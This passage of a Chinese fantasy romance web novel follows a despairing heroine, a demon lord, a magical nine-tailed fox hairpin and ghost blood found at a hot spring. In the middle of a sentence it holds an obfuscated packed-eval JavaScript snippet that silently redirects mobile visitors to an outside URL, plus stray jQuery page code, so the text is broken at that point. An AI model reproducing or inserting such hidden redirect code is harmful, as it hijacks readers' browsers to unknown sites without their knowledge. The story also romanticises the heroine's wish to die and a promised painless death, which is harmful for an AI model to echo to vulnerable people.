羿逸安似乎被文可烟这番话彻底激怒了。他原本眼底已平静下来的死海,瞬间掀起波涛汹涌,那程度似乎能将周围一切都淹没其中。 他猛地转身,动作快如闪电,眨眼间便闪现到文可烟身前。带起的风,强劲而凛冽,吹得文可烟发丝在空中肆意舞动,眼睛被迫眯了起来,她却仍倔强地不肯闭上,直直地迎着那风。 羿逸安目光如炬,迅速又坚定地伸出了右手,不容抗拒。 文可烟只觉一股强大的气势扑面而来,她莫名地吞咽了一下唾液,喉咙像是被什么东西哽住了,干涩得厉害。 下意识地,往后退了一小步,双脚在地面上轻轻摩擦,发出细微却沉闷的声响,似在映射她内心不安害怕的声音。 房间里紧张而压抑,周围的烛火被风肆意摆弄着,火苗忽高忽低,忽明忽暗,发出“噗噗”的声响。 文可烟平静地看着眼前的一切,收回刚刚下意识后退的小半步,双脚稳稳站在地上,等待着命运的宣判。 就在她满心以为羿逸安会如她所想,死死掐住她脖颈,终结这一切的时候,一道柔和的光芒如流星般闪到她的眼睛。 她垂眸看向羿逸安伸出却并未有下一步动作的手,摊在她眼前。 是那支九尾狐簪,九条尾巴栩栩如生,细腻逼真,十分漂亮。 她凝视着九尾狐簪,簪身流转的柔光,将她原本黯淡无光的眼眸映地如同被清泉洗涤过一般,亮晶晶的。 曾经涣散的眼神,此刻也因这簪子带来的光芒而有了别样的神采,多了些生气与活力。 28. 触动(三) 那朵枯萎的花朵,曾在无情的风雨中一点点零落成泥。可如今,好似得到了命运的垂怜,寻到了能重新供它汲取的养分。于是,开始慢慢舒展身姿,重新绽放生机。 文可烟呆呆地,眼睛一眨不眨地落在躺在他掌心里的那支簪子,久久没有动作。 紧接着,她微微扬起脑袋,将目光落在了羿逸安脸上。 他周身萦绕的凛冽气息还未消散,凝聚在空气中,刺得她心生疼。棱角分明的面容在烛火的映照下更加神秘莫测,暗色的眼眸里藏着让人看不懂的情绪,似浓烈,似悲伤。 文可烟与羿逸安对视着,她心中五味杂陈。不知这一眼之后,等待他们的又将是怎样的命运。 烛火此刻也像是冷静了下来,渐渐收敛了先前的躁动,于微风中轻轻摇曳。在这孱弱留存的火苗映衬下,文可烟的神情却愈发复杂。她迟疑地垂眼仔细端详着他手中的簪子,眼神在羿逸安和簪子之间来回流转,内心反复揣摩着羿逸安的真正意思。 她以为他会杀她,会离开……就是没想到现下这个结果。 他竟如此轻易地就将这支九尾狐簪给了她。 刚刚,他对待这支九尾狐簪的态度那般紧张,那般诊视。 难道她刚刚看错了? 文可烟再次盯着羿逸安,嘴唇张了张,还想再说些什么。 说时迟那时快,羿逸安身形突然模糊起来,须臾间,化为青烟消失在这空气中。 文可烟垂下眼帘,纤细的手指轻轻搭在那九尾狐簪上。 这支九尾狐簪着实独特,并非以完整的九尾狐形态呈现于世,而仅仅由九条灵动而俏皮的尾巴精巧构成。 每一条尾巴都似有自己的灵魂,各自呈现出不同微微弯曲的弧度,有的朝天,有的朝地,角度与长度皆不相同,却又一个共同点——皆栩栩如生,和真的尾巴毫无二致,活灵活现。 文可烟看着这簪子,脑海中不由自主地浮现出羿逸安昨晚那些灵动飘逸的真尾巴。 拇指与食指不由自主地捏着那九尾狐簪上的九条尾巴,指尖摩挲划过每一条狐尾。恍惚间,她真的感受到了毛茸茸的触感,真的在触碰着羿逸安的尾巴。 文可烟静静地躺在榻上,一动不动,此刻的状态犹如冬日里未化的残雪,在阳光下,随时都可能消融不见。 烛光没了羿逸安情绪的操控,尽显柔和,洒落文可烟苍白如纸的脸上,使得那份脆弱与无助在她身上体现得淋漓尽致。 文可烟眼神失焦,半睁着眼睛,思绪却飘回到了之前触摸九尾狐簪的时刻。而簪子就静静地躺在她的掌心,那般精致细腻,那般生动灵巧……每一根绒毛都清晰可见,无一处不显露出它的拥有者应该是一位温婉动人、气质如兰的女子。 默默地,无意识地,文可烟脑海中突然闪过那晚遇见的,与羿逸安相会的女子。 既然这簪子是她,那白酒其实也是那女子的灵宠吧? 想到这儿,文可烟手指不自觉使力,却又根本实在使不上力,指尖只是无力地动了动。 所以白酒之前一直不肯说它主人是谁,是因为那名女子将簪子送给了羿逸安,而白酒也因此陷入了困惑,不知谁才是它真正的主人? 所以羿逸安都不知晓它的存在,是因为白酒根本就不是他的灵宠。 白酒…… …… 文可烟用力掐断自己的思绪,逼迫自己回到那个对什么都漠不关心、不感兴趣、一心求死的文可烟,那个被世界遗弃、对一切都绝望透顶的自己。 可白酒因为保护她差点在她面前消失的那一幕,始终在她脑海中不断浮现,一点点折磨她…… 那颗本就破碎的心如今像是被捻成灰烬,随风飘散,再也拼凑不起来。 文可烟软绵绵地躺着,每一寸肌肤都像被无数根针同时刺如入,钻心的疼痛从肌肤渗透到骨髓,又从骨髓蔓延至每一根神经…… 她很疼,很累……她真的很想结束。 一滴闪烁着微弱光芒的泪珠从她眼角滑落,顺着文可烟的脸颊缓缓滚落,滴落在枕头上,洇湿了一小片,那仅存的一点微弱光芒也消失了,如同此刻黯淡无光的她…… * 是夜,一缕青烟袅袅升起,在微凉的空气中缓缓飘散。 羿逸安身形一闪,落定在床边,目光直直地落在床榻上那单薄的身影上。 羿逸安来时的动作轻得几乎可以忽略不计,可文可烟却像是有着超乎常人的敏锐感知,即便在这静谧得近乎死寂的夜里,身体微微一颤,破碎却又实在美丽。 片刻后,她又是那般无望的姿态,安静地躺在床上一动不动,成为这夜色中沉默的一部分。 文可烟此刻的状态,与之前在那阴暗潮湿的牢房中一般无二,沉默而淡然。可如今,即使环境变了,可她的心境却依然如旧,或许更差了。 兜兜绕绕,她又回到原点。 羿逸安只在牢里与文可烟见过一次。那一回,也只不过是匆匆一瞥,且是在她昏迷的瞬间。因此,他看着文可烟这般模样并未觉得有什么不对劲,只当她是受伤后寻常的疲惫。 “要睡了吗?” 文可烟半垂的眼睑微微颤动了一下,慢慢抬起眼眸,目光在羿逸安的脸上短暂地停留一瞬,眼神中满是淡漠与疏离,像是在看一个毫不相干的陌生人。随即,她的眼睑又迅速沉下去,只将羿逸安视为一阵过耳的微风,未曾在意留意过他的存在。 羿逸安见状,指尖微动,一股柔和的力量悄悄散开。房间内的烛火应令而灭,只留下一片寂静的黑暗。 这下,文可烟真的与这寂寥的夜色,这无望的黑暗彻底融为一体。 羿逸安再次开口,声音在黑暗中显得格外清晰。 “后山那边有一方温泉,你多去泡泡。” 空气安静下来。 他顿了顿,再次补充:“对你肩上的伤口有帮助。” 黑暗中,文可烟的双眼悄然睁开,黯淡无光的眼眸中,此刻闪过一丝无法掩饰的痛苦。 伤口很疼,真的很疼,在她肩头…… 可她依旧保持着一种令人难以捉摸的平静。 这份平静,并非出于愤怒或赌气。而是文可烟觉得她已然在羿逸安面前毫无保留地坦诚,将那颗想死的心,赤裸裸地摆在他面前。 可他依旧视而不见,依旧“见死不救”…… 世态炎凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423442|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人心难测……这些她不是早就清楚了吗?在这纷繁复杂的世界里,人与人之间的情感本就淡薄如纸,她又何苦奢求他能懂她、怜她? 可即便理智如此,当这一切再一次真切地发生在她身上时,她还是忍不住一阵阵发寒。 她想不明白,为什么一个对于他来说轻而易举就能皆大欢喜的事,他却始终不愿意做。他没有选择让她死,而是选择了所谓的“一线生机”,甚至装模作样地将那狐狸簪子递给她。 原来,一条命,不如一颗所谓的毒药。 * 是晨,天边存着一抹未出尽的晨光。 羿逸安从床上坐起身来,丝绸的寝衣随着他的动作微微滑落,露出一小片肌肤。他下意识地转头,向文可烟投去目光。 文可烟依旧维持着昨晚的姿势,只是她的发丝比昨日凌乱,脸色也比昨日苍白,没有一丝血色,连嘴唇也开始泛出淡淡青紫色。 羿逸安闪过一丝愕然,眉头微微皱起,他觉得文可烟有些不同寻常,可具体哪里奇怪又形容不出来。 她太安静了,安静过了头。 周遭的空气隐隐流动着一股不同寻常的气息,文可烟似有所感,淡淡地掀起眼睑,一眼便瞧见羿逸安的目光正定定地停在她枕边的九尾狐簪上。 “不愿意就拒绝,没人逼你。” 文可烟的声音又冷又硬,说完,她便闭上了眼,将所有的情绪都隔绝在了那紧闭的眼睑之后。 室内也在这一刻陷入一片沉寂。 羿逸安的脸色瞬间沉了下来,此刻冷漠与无情在无声蔓延。那属于魔尊令人胆寒的气息在这一刻毫无保留地显露出来,整个房间乃至整个净地都被他的低压所笼罩。 可下一秒,他的神色却黯淡下来。 他没做到。 爹爹从来没有拒绝过娘亲,无论娘亲提出什么要求,爹爹都会毫不犹豫地满足娘亲。在爹爹眼中,世间再多再好的一切,都比不上娘亲的一个心愿。 突然,羿逸安开口,那三个字像是从喉咙里挤出来的般,沉闷又干涩。 “两个月。” 文可烟置若罔闻,掩在眼皮下的情绪像是被冰封了一般,毫无反应。 “两个月后,本座就允你死,无痛楚之扰。” 文可烟掀起眼帘,眼底的雪终于有一丝消融,目光幽幽地望向羿逸安,安安静静地,没有说话。 两个月? 为什么是两个月呢? 是给他两个月时间来找“一线生机”背后隐藏的隐秘机制吗? 须臾,她目光轻轻一转,落到她枕边的九尾狐簪。她微微动了动手指,示意羿逸安拿走那支九尾狐簪。 羿逸安淡淡瞥了一眼九尾狐簪,随即收回视线,站起身来,背对着文可烟。 “我今夜有事,白酒跟在我身边不利于它的伤势恢复。”他微微仰起头,神色淡然。 这本该是带着几分恳切请求意味的话语,换做旁人来讲,或许还会流露出小心翼翼、诚惶诚恐的模样,生怕说错一个字、做错一个动作,就惹得对方不悦。 可,当这话从羿逸安口中说出时,却别有一番摄人心魄的气场与独特韵味。 29. 触动(四) 羿逸安天生就带着一种与生俱来的威严,他只需静静伫立在那里,便能如一尊不可侵犯的神祇,让周围人不自觉地被他吸引目光,心神也随之被他牵引。 因此,即使他话语间没有丝毫卑微乞求的姿态,也并无半分高傲强硬的逼迫之意,仅仅只是这般平静自然地说出口,却也莫名让人心生敬畏,下意识想要遵从他的意愿,就好像听从他便是这世间最理所当然的事情。 此时,文可烟目光依旧轻飘飘地落在九尾狐簪上。“白酒”二字落入她的耳畔时,她的身体一颤,眼珠流转起来。这一次,她的反应要比之前要强烈许多。 她知道羿逸安的意思,是想让她帮忙照看一下白酒,顺便帮他暂时保管一下那只九尾狐簪。 屋内陷入了长久的宁静,只有窗外偶尔传来的风声打破了这份沉寂。 不知多长时间后,文可烟终于双手撑着自己起身,动作间是难以言说的疲惫。 她抬起头,看向羿逸安刚刚站立的地方,那里早已空无,只留淡淡余温。 看了几瞬后,她回过神,侧过身,目光落在静躺在床上的簪子。颤抖的指尖虚浮着划过簪身上方,最终,停在了九尾狐簪的尾部。 随后,脑海中想起羿逸安和白酒的话。 ——“后山那边有一方温泉,你多去泡泡吧。” ——“算了,这汤池有奇效,泡泡也不错。” ——“什么奇效?” ——“治愈奇效,” ——“不管是内伤还是外伤,都能被治愈。” 其实自从那日羿逸安和她提及后山温泉之事后,文可烟压根就没打算去。即便她早已将那方温泉的具体位置记得清清楚楚,可不知为何,就是提不起半点兴致。 平日里那么怕疼的她,哪怕只是不小心被针尖扎一下,都要皱起眉头呼痛许久。可如今面对这据说有治愈奇效的温泉,她却迟迟迈不出走向那里的步伐。 她低下头来,凝视着手中的簪子,若有所思,握着簪子的手开始不自觉收紧。 白酒至今仍未现身,或许,泡泡温泉真的对它有好处。 她的疼痛……也可以缓解一些了吧。 * 眼前雾气缭绕,将周遭一切都裹进了一个缥缈空灵的世界。置身于此如同置身于不食人间烟火的仙界之中,每一寸空气都透着令人沉醉的美感。 文可烟静静地站在温泉边,温暖而湿润的气息轻轻抚过她的脸庞,又顺着她的脖颈缓缓滑下,所到之处,皆浮出丝丝缕缕的惬意。 仅仅只是站在外围,还没泡进温泉,文可烟都能感受到治愈气息所带来的宁静与安详。 她捏着手中那支在雾气里若隐若现的九尾狐簪,却在这时犯了难,不知如何是好。 这簪子看起来很是贵重,总不能将这簪子直接丢进池子里吧? 想着想着,她越发犹豫起来,在池边蹲下身子。 这时,裙摆随着文可烟的动作如同盛开的白莲优雅地铺展开来,与这仙境般的景致融为一体。 接着,她试探性地伸出一只手,指尖轻轻触碰池水。指尖刚一接触水面,便激起一圈又一圈细腻的涟漪,向四周扩散开来。 文可烟的眼神里弥留着期待与犹豫,就这么看了一会儿,她终于提起裙摆。 迈步跨入了温泉的瞬间,温泉的热水一股脑全涌了上来,将她紧紧包裹。 所带来的温暖感觉,就像寒冬腊月里,突然被拥入了唯一一个温暖的怀抱,温柔且缱绻。 在这样温暖的强势攻势下,文可烟感到前所未有的放松,身子渐渐舒展开来。 纤细的身影亭亭玉立在温泉中央,左手手臂举过头顶,微微弯曲间,勾勒出一个如新月般优美的弧度。 而在这优美弧度的最高一点,正是被文可烟紧紧握于手心的九尾狐簪的簪身。 她将簪子举得高高的,生怕它沾染到一点一滴池水,只让它沐浴在雾气之中,得到一丝滋养。 时间一分一秒的过去,温泉里不断升腾的热气,模糊了文可烟的视线。她身上的伤疤在温泉水温柔而持久的浸泡下,颜色一点点变淡,现下只剩淡淡地一抹暗红,可白酒依旧迟迟不现身。 难不成真要把簪子泡在水中? 不会生锈吗? 羿逸安似乎对这簪子很在意。 文可烟低垂着头,凝视着那满溢着神秘气息的水面,思绪却早已飘走。 从远处望去,她就这样静静地伫立于温泉池中,身姿宛如一朵孤傲的莲。 水面上倒映着她那原本苍白如纸,此刻逐渐红润的面容,像被注入生机一般,流露出别样的娇艳。湿热的水汽轻柔地缠绕在她的睫毛上,渐渐凝结成一粒粒晶莹剔透的水珠,顺着她的面颊缓缓滑落,最终滴入池中,溅起一圈圈细微的波纹。 文可烟的眼神中充满了迷茫,那模样,将她孤傲清冷的青莲形象勾勒得更加逼真,尤为动人心魄。 就在这时,一阵突如其来的细碎声响,骤然打破了四周的静谧。 文可烟本能地一惊,慌乱中,下意识将头深深埋入温暖的泉水之中。连同手中紧握的紧握的九尾狐簪也一同沉入了水底深处。 随着泉水的涌动,一股微弱力量在池中显形,白酒终于被泉水的滋养唤醒。 白酒一出来便有些搞不清楚状况,小小的身子在水中挣扎着,眼中尚带着几分懵懂与困惑。待反应过来此刻的环境时,它拼命地扑腾着小爪子,想要浮出出水。 文可烟在水中隐约感觉到了白酒的动静,又惊又喜,连忙在水中睁眼,伸出双手,轻轻将白酒拉到自己身旁。她将手指轻抵于唇,眼神中满是示意它保持安静的急切。 细碎的声音不绝于耳,在这寂静的夜里显得异常危险。 紧接着,传来一阵阵密密麻麻的说话声。 那声音断断续续,其间还夹杂着隐约可闻的打斗、挣扎与喘息声,不过,倒是能听出来一名男子的声音。 “你到……谁?” “为何……救……?” 文可烟心瞬间提到嗓子眼,双手不自觉收紧,紧紧抱住白酒。 她是怎么也不会想到,不过是和白酒就是出来泡个温泉,竟会遭遇这般发现别人秘密的破事。 四周的 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白酒也跟着从水中冒出,眼底的惊慌还未完全褪去,小胸脯激烈起伏着。它目光在文可烟身上来回扫视,不放过任何一个细节。上上下下、仔仔细细、反反复复将文可烟的安危确认了好几遍,直到确定她并无大碍,才长长呼出一口气,整个身体不受力地跌落水中,溅起一小片水花。 经过这一番折腾,白酒害怕文可烟再提及方才在水中那一幕,便故意做出一副岔开话题的模样,转而说起了另一件事。 “刚刚那两人有些不对劲,他们不该出现在魔族净地的?这地方向来隐蔽,外人怎会进来。我去看看,你先回去吧,烟烟。” 言罢,白酒抖了抖它还有些湿漉的翅膀,振翅高飞,朝着刚刚那两人声音消失的方向疾驰而去。 文可烟站在原地,望着已飞出一段距离的白酒。她哪能放心让白酒独自前往? 文可烟根本来不及多做思索,之前那些想要置身事外、不牵扯进这些纷繁事件的念头,在这一刻被彻底打破。她毫不犹豫迈开脚步,一同追了过去。 眼前,是一片繁茂得近乎疯狂的花草树木世界。各式各样的花草树木交织在一起,相互缠绕,形成了一堵密不透风的绿色高墙,将前行的道路彻底封锁。 可声音就是从这个方向传出的。 白酒在空中转了几圈,最后飞到一个隐秘之处,微微一侧身,灵活一扭,便消失在了视线之中,进入了另一个空间。 文可烟紧随其后,在其间七拐八拐地穿梭着。偶有树枝刮过她的手,留下一点点浅浅的红痕,但她此刻却丝毫不在意,只紧紧盯着白酒消失的方向。 穿过一片片茂密的丛林与曲折的小径,终于,文可烟来到了另一方神秘的境地。 这里的也有几房小温泉池,雾气没有外面的浓郁,但却更加隐蔽。而刚刚那些看似杂乱无章的花草树木,在现在想来,完全就是一个精心布置的障眼法。 一阵细微的声音突然响起。 白酒反应迅速,立马振翅低飞,带着文可烟瞬间躲进了草丛之中。 文可烟蜷缩在草丛里,轻轻探出头。 30. 触动(五) 透过被枝叶切割得支离破碎的缝隙,文可烟视线定格在了前方两个朦胧的人影上。 这一刻,心跳极速加快,惊愕在她眼中巨变。 竟是那晚与羿逸安相会的女子。 还有一人,文可烟从未见过。 只见那女子静静地站在岸边,目光注视着温泉中的男子,面色复杂。 而男子面容苍白,闭目养神间透露出一种难以言喻的虚弱与憔悴。整个人完全是一副命若悬丝、行将就木的模样。 不多时,一股奇怪的味道直直往文可烟鼻腔里钻。 文可烟不禁皱了皱眉,鼻子微微抽动,再次嗅了嗅,试图辨别出这股怪味的来源。 不过,她从未闻过这样的味道,分辨不出,也忍受不住。 无奈之下,她伸出食指,挡在自己鼻息间。 文可烟和白酒隐藏在草丛中,不知过了多久,久到文可烟腿都有些发麻了。 文可烟再次小心翼翼看向外面,那两人的身影竟已消失得无影无踪,根本不知什么时候离开的。 白酒和文可烟匆匆从草丛中出来,来到刚刚那两人的位置,不约而同地都开始仔细地搜寻着每一个角落。 文可烟蹲下身子,用手拨开散落在地上的落叶,不放过任何一丝异样。白酒则在空中低飞,眼睛扫视着周围的一切。 呼吸间,那股奇怪的味道随着空气的流动逐渐变得浓郁起来。文可烟用手在鼻前扇了扇,气味反而更浓了。随后她顺着气味来到了一块石头旁。 石头缝中流淌着一滩不明液体,其间颜色甚为怪异,像是墨汁,又像是腐烂的红浆,气味又腥又臭。总之,让人忍不住想要远离。 文可烟默默地盯着地上的液体,几秒的时间里,即便向来淡定的她,此刻眉宇间透露出嫌弃的意味还是逐渐明显起来。 文可烟从未见过这样的东西,这滩液体的颜色和气味都超出了她的认知范围。她不知道这究竟是什么,也不清楚它为何会出现在这里。 “白酒。”文可烟目光紧紧黏在那滩不明液体上,嘴上却唤起了另一名字。 白酒听到文可烟的声音,扑扇着它那对小翅膀飞了过来,停在那滩液体旁。小脚刚一落地,似乎就察觉到了那股刺鼻难闻的味道,不自觉地后退了几小步。 一人一灵宠埋着头,静静地看着那滩液体,表情难看得像是在屏息凝视着什么可怕的东西。 “这是什么?”文可烟的声音略带鼻音,却仍是努力让自己的声音听起来清晰一些。 白酒沉默了一瞬,似在确定或是思考什么:“这是属于冥界的东西。” “冥界?” “冥界的为何会到魔界来?”文可烟连发两问,声音逐渐提高,连鼻音激动得都不如方才那般浓重。 白酒沉默了,它的小脑袋低了下去。 “那这是什么?”文可烟目光从不明液体上移开,转向白酒,忍不住问了出来。 “鬼的血液。”白酒用它那稚嫩的声音平淡地说出这三个字。 “所以……那个男的是鬼?”文可烟的声音有些颤抖,她的脑海中浮现出那个男子即将魂归西天的恐怖模样。 白酒在一旁,像个严肃的小大人,小脑袋郑重点了点头。 …… * 那男鬼在问那女子,她是谁,还问了她为什么要出手相救…… 所以他们应该不认识,既然不认识,那他们应该也不是偷情关系…… 可,这事,羿逸安知道吗? 这女子又为什么要救那个男鬼? 这冥界的鬼又怎么会到魔界来?而且魔界居然半点风声也没有…… 虽然她在这里听不见风声很正常,但连白酒一点风声都没有……就不太正常了。 夜已深,月光透过窗棂的缝隙洒在文可烟的脸上,她眉宇间的思索痕迹在月光的映照下愈发显眼,却又始终浓稠。 文可烟侧卧在床上,试图理清这一切,但这件事完全就是一个死胡同,她在这儿绞尽脑汁想了一通,却什么结论也没得出。 她想得太入神,以至于全然未觉身后已站定了一道身影。 羿逸安起初以为她已睡了,脚步放得极轻。待他走到床边,指尖微微一动,正欲熄灭烛火,眼角余光却意外捕捉到文可烟眼皮下轻微的颤动。 他心下一动,原本准备熄灭烛火的手停在半空中,将目光直直落在文可烟的睫羽上。 他静静地在床边站立了许久,他在观察着她每一次睫毛的颤动的弧度,每一次呼吸的节奏,从各种细节中判断她是否真的已进入梦乡。 文可烟再一次眨眼,又长又密的睫毛,在烛火的映照下,阴影由浅入深再到浅。 就在这时,羿逸安冷不丁地开口了,他的声音宛如从冬夜溜了一圈才飘出来,刺骨而冰冷:“你去哪儿了?” 文可烟吓得浑身一激灵,猛地转身,那双清澈的眼眸与羿逸安那深如寒潭的双眸在半空中碰撞。 此刻的他,周身依然散发着一股令人心悸的寒意。无形之中,有几分拒人于千里之外的冰冷。可文可烟却能感觉到,在这冰冷之下,似乎隐藏着一丝别样的情绪,就像冰层下被丝丝暖意凿裂的一小点暖流,虽微弱却不可小觑。 羿逸安缓缓俯下身来,动作优雅却又很有压迫感。紧接着,他掀起锦被,似乎是准备上塌。 一股熟悉的香气中夹杂着淡淡的寒意,瞬间将文可烟包围。 文可烟刚刚泡过温泉,身上的热气还未完全消散,白嫩的肌肤泛着淡淡红晕。因此,此刻羿逸安身上的寒气对她来说存在尤为明显,她身体应激般地轻颤了一下。 面对羿逸安的连续逼近,文可烟只觉自己置身于一片冰山雪地之中,四面寒风呼啸而过,吹得她思绪被都被冻结,变得迟钝而难以运转,只剩下本能反应。 “带白酒去泡温泉了。” 羿逸安的动作明显一顿,晃眼间,目光不经意落在文可烟刚刚因慌乱间扭动时,不小心掀起的衣料而露出的胳膊上。 淡淡的细小红痕在文可烟白皙的手臂上尤为明显,像是最高处的雪山上唯一的颜色,在一片洁白中分外显眼,又格外刺眼。 他几乎是眨眼间就扯过她裸露的手臂,动作很是急切,却又在触碰到她肌肤的瞬间,放轻了力度:“怎么回事?” 文可烟只觉周身的侵略 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她觉得自己今日可能有些敏感,听着他的话,总能联想到今日在温泉的遭遇。也总觉得他的问话别有深意,像是在试探着什么,又像是在暗示什么,可她完全猜不透。 就在文可烟满心纠结于羿逸安的话语时,她忽觉鼻息间总有股若有若无的气味。 那味道起初十分微弱,似有似无地在不经意间萦绕在她鼻尖,以至于她根本没有意识到这细微的变化。 可随着羿逸安的靠近,那股香气愈发浓郁,不断地钻进她的鼻腔。其中似乎还夹杂着一丝别的什么,微微的,是一种她似乎闻过却又难以用言语准确形容的气息,混着一分难以捉摸的诡异。 在某一瞬间,从飘散的气味中,文可烟鼻尖嗅到了一丝更为熟悉的味道,很细微,很细微。 是她在温泉边闻到的奇怪味道,那个不属于魔界的鬼血之味。 也许是因为她特别闻不惯那恶心的味道,哪怕只有一丝细微的气息,她也能敏锐地发现。 这细微的味道本应在温泉那儿消散无踪,但此刻却如此清晰地萦绕在她的鼻尖。 文可烟以为这只是自己的错觉,可能是刚才在温泉边被那味道熏得犯恶心了。但再仔细一想,羿逸安来之前她分明没有闻到过这股味道,又为何…… “没有。”文可烟的声音平静而克制。 她转过身去,背对着羿逸安,原以为这样能隔绝那股怪异的气息,可那味道却如影随形,依旧若有若无地萦绕在鼻尖。 很奇怪,难道是因为她今晚闻太多了,闻出幻觉了? 犹豫片刻后,她不动声色地伸出手,手指轻轻捏住一旁锦被的边角,将锦被拿起捂住自己的口鼻。 锦被被她虚虚地搭在脸上,只露出一双水汪汪而又不甚舒服的眼睛,看起来娇俏又惹人怜爱,一点也不刻意。 可好生怪异,就算她不呼吸,也能闻见那一丝又腥又臭的味道。 “……” 倒有点无孔不入的意思在。 鼻息间的味道不断刺激文可烟的嗅觉神经,她的脑海中的念头也不断,甚至产生了一个不切实际而大胆的怀疑。 31. 触动(六) 这难道是羿逸安身上带来的气息? “今日早晨……你说的……两个月,还算数吗?” 文可烟的声音闷闷的,羿逸安差点没听清,但他捕捉到“两个月”的关键字。 刹那间,他眼神中有一瞬的凝滞,他沉默了。 短暂的沉默像是有一个世纪那么漫长,文可烟的心被高高地悬吊在半空中,七上八下的。紧张得就连手心都冒出了汗。 终于,羿逸安缓缓开口,声音低沉而晦涩,“算。” “好,我答应了。”文可烟像是抓住了救命稻草,迅速回应道,声音依旧闷闷的,可此刻她的语气里,能明显听出藏不住的欣喜。 紧接着,烛光熄灭,整个小屋陷入了黑暗。 文可烟的鼻息间,那股难闻的气味简直像个不知疲倦的“劳模”,顽固得如附骨之疽,经久不散。她躺在床上,翻来覆去,怎么都找不到一个舒服的姿势。直到天边泛起鱼肚白,她才在疲惫与困倦的双重夹击下,勉强沉沉睡去。 当文可烟再次睁开眼时,她下意识揉了揉惺忪的睡眼,目光在屋内缓缓扫视一圈,本该躺在她身侧的羿逸安早已不见踪影。 她微微一怔,还未等她从征楞中回过神来,那股如影随形的臭味再次强势钻入她鼻腔。 不仅未消散,反而似乎更加浓郁。 恶心又刺鼻的气味瞬间激得文可烟泛起一阵恶心,胃里一阵翻江倒海,十分想吐。 这几日她本就没什么胃口,几乎没吃什么东西,肚子里空空如也。她忍不住干呕了几声,却吐不出什么东西,只觉得胸口堵得慌,闷得她几乎喘不过气来。 突然间,她猛地坐直身体,睡意消散得无影无踪。她想起她昨晚忘记将九尾狐簪还给羿逸安了,簪子在她手中反倒成了一个烫手的山芋。 这时,文可烟衣裙被轻轻拽动,她微微转头,只见白酒征试图用它那小小的双手拽动比它大好几倍的生物。 她本以为白酒是贪玩,想要出去玩,刚想抽手拒绝。可谁曾想,白酒这小家伙力量倒是不小,她竟无法挣脱。 文可烟的思绪一片浑沌,身体也软绵绵的,几乎记不清自己是如何跟着白酒走出房间的。她只觉得自己根本无力挣扎,被白酒拖着,整个人更难受了。 直到白酒在一株看似普通的草前停下,文可烟才勉强回过神来,强撑着抬起头。 她倒要看看,是什么东西能让她遭这么多罪。 那株草生长在角落里,不仅其貌不扬,叶子有些枯黄,茎干也歪歪扭扭。更让文可烟难以忍受的是,它散发出的气味与鬼血的味道不相上下。 文可烟边干呕边后退几步,似仍觉不够,她双手捂住口鼻,再次后退远离了那株令人作呕的植物。 白酒站在那株草前,转头认真对着文可烟开口:“这叫鬼木。” 文可烟只觉得胃中一阵翻腾,直犯恶心,连话都说不出来,只是用嫌弃的眼神看着白酒手中的那株草,又无助地看向白酒。 “它能缓解你犯恶心的症状。”白酒耐心解释道。 文可烟半信半疑,那眼神好似在说:“你确定这么难闻的草能压住鬼血那难闻的味道,并且没有副作用?” 白酒看穿了她的心思,轻轻摇了摇头,用一种超乎年龄的成熟口吻说道:“鬼血并非凡人之血,它的味道一旦沾染,便如影随形,难以消散。唯有鬼木,方能解开。” 文可烟将信将疑,不过说来也奇,就在她刚刚与鬼木近距离相处的那短短片刻,鼻尖那股挥之不去的恶臭,真的淡了几分。虽然她干呕的冲动依旧强烈。 “鬼血非同寻常,六界之中,它经常被视作一种威力巨大的武器。”白酒见文可烟依旧犹豫不决,便继续耐心地解释。 文可烟用指尖轻轻捏住鼻翼,眉头紧皱,疑惑道:“那你为何安然无恙?” “鬼血只对毫无防备之人起作用,更何况……”白酒轻轻瞟了她一眼,语气有些同情,“更何况,你现在的修为尚浅。” “……” “你……” 说得好有道理。 白酒高高地将鬼木举在文可烟眼前,在微光下,鬼木枯黄叶子还泛着一丝诡异的光泽。 文可烟的神色萎靡,软绵绵地佝偻着。此刻,她以一种近乎乞求的眼神望向白酒。 “要怎么服用?不会真的要生吃吧?”说到最后一句,她吓得差点惊叫起来。 白酒无奈地摇了摇头,似乎被打败了,“罢了,我还是帮你熬成汤药吧。” 文可烟紧绷的神经终于放松下来,她嘴唇动了动,想说些感谢的话,可说出来的话却机械僵硬且生硬,“你真是最好的白酒!” 不过一个时辰,白酒端着一碗冒着热气的汤药走了过来。汤药随着白酒的动作在碗中轻轻晃动。 随着白酒的靠近,以及汤药有节奏的晃动,那碗汤药散发出的古怪气味也渐渐浓郁起来。 文可烟看着那碗汤药,眉头微微皱起。她咬了咬牙,像是下定了很大的决心,伸出手接过那碗汤药。她捏住鼻子,眼睛紧紧闭着,猛地一仰头,将鬼木药汁一饮而尽。 药汁顺着她的喉咙流下,苦涩的味道瞬间在口腔中炸开。她忍不住打了个哆嗦,双手下意识地捂住嘴巴,想要把那苦涩的味道给捂回去。 喝过鬼木汁的文可烟,脸色依旧苍白。鬼木汤的味道虽不及鬼血那般令人难以忍受,却也绝非美味,甚至难闻到让她几欲作呕。但她强忍着,紧咬住嘴唇,才没吐出来。 就在这时,文可烟眼前出现一颗圆滚滚的东西,颜色十分鲜泽,红得透亮,看起来像是糖果。她毫不犹豫伸手捏住那颗“糖果”,放入口中。 酸甜交织的味道瞬间在口腔中绽放,是她喜爱的滋味。那一刻,所有的不适都被这股清新的酸甜所驱散,愁眉苦脸的神情终于放松起来。 文可烟微微眯着眼睛,享受着梅子的美味,随口问:“这是什么?挺好吃的。” 白酒也给自己拿了一颗,此时正被它含在嘴里,腮帮子鼓鼓的。它口齿不清含糊着说:“不知道呀,我在桌上看见的,应该是主人找来的吧。” 文可烟闻言,惬意的心情瞬间被蒙上了一层薄纱,好似这美味的梅子突然变了味。她用洁白的牙齿将梅子固定在两齿之间 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白酒则在空中左飞飞,右飞飞。它翅膀煽动得极快,带起一阵阵细微的风,吹得周围的话草在一旁轻轻摇曳。它时不时摘下一朵小花,捡个好玩的东西,递到文可烟眼前。 